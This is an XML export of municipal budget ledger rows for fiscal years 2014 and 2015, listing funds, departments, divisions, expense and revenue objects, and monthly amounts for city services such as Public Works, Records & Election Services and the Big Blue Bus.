<row _id="13437"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3320.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3320.0</total></row>
<row _id="13438"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>80000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>80000.0</total></row>
<row _id="13439"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>533220.0</object><object_description>BUILDING / STRUCTURE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18500.0</total></row>
<row _id="13440"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1758.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1758.0</total></row>
<row _id="13441"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1561.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1561.0</total></row>
<row _id="13442"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>417.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>417.0</total></row>
<row _id="13443"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>44794.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>44794.0</total></row>
<row _id="13444"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>409140.0</object><object_description>PASSPORT SERV APPLICATIONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-14600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-14600.0</total></row>
<row _id="13445"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561112.0</object><object_description>CLARE COORDINATED CASE MGMT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4130.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4130.0</total></row>
<row _id="13446"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561117.0</object><object_description>ST JOSEPH CENTER HPSHP-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8180.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8180.0</total></row>
<row _id="13447"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>408560.0</object><object_description>BIKESHARE METRO CFP GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>-1543000</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1543000.0</total></row>
<row _id="13448"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6720.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6720.0</total></row>
<row _id="13449"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522520.0</object><object_description>LEGAL ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>72500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>72500.0</total></row>
<row _id="13450"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>68500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>68500.0</total></row>
<row _id="13451"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>141000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>141000.0</total></row>
<row _id="13452"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401620.0</object><object_description>LIBRARY PARKING LOT</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-36000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-36000.0</total></row>
<row _id="13453"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577760.0</object><object_description>CDBG REIMB-HOUSING &amp; ECON DEV</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>85000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>85000.0</total></row>
<row _id="13454"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>400870.0</object><object_description>LEASE RENTAL REVENUE-DOWNTOWN</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-379283.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-379283.0</total></row>
<row _id="13455"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>401150.0</object><object_description>MALL ASSESSMENT DISTRICT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-1200000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1200000.0</total></row>
<row _id="13456"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>401180.0</object><object_description>DISPLACEMENT RELOCATION FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5000.0</total></row>
<row _id="13457"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>15</fund_id><fund_name>Low/Mod Incme Housing Asset Fd</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>400750.0</object><object_description>INT DEP/INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-2200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2200.0</total></row>
<row _id="13458"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>401560.0</object><object_description>ZONING APPR/VARIANCE FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-1551470.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1551470.0</total></row>
<row _id="13459"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>17900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17900.0</total></row>
<row _id="13460"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="13461"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>120633.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>120633.0</total></row>
<row _id="13462"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8000.0</total></row>
<row _id="13463"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="13464"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>307351.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>307351.0</total></row>
<row _id="13465"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>55000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>55000.0</total></row>
<row _id="13466"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>403830.0</object><object_description>SUPPORTIVE HOUSING PROGRAM GR</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-389215.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-389215.0</total></row>
<row _id="13467"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>401250.0</object><object_description>PLAN CHECK FEES-CITY PLANNING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-614215.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-614215.0</total></row>
<row _id="13468"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>401470.0</object><object_description>DEVELOPMENT AGREEMENTS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-75000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-75000.0</total></row>
<row _id="13469"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522040.0</object><object_description>INSURANCE AND BONDS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>840000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>840000.0</total></row>
<row _id="13470"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522050.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>50000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
<row _id="13471"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7415.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7415.0</total></row>
<row _id="13472"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="13473"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2626.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2626.0</total></row>
<row _id="13474"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>18700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18700.0</total></row>
<row _id="13475"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>566090.0</object><object_description>ENTERTAIN - PUBLIC GS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="13476"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="13477"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8500.0</total></row>
<row _id="13478"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>165500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>165500.0</total></row>
<row _id="13479"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
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<row _id="13482"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>215000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>215000.0</total></row>
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<row _id="13492"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3850.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3850.0</total></row>
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<row _id="13494"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12500.0</total></row>
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<row _id="13496"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
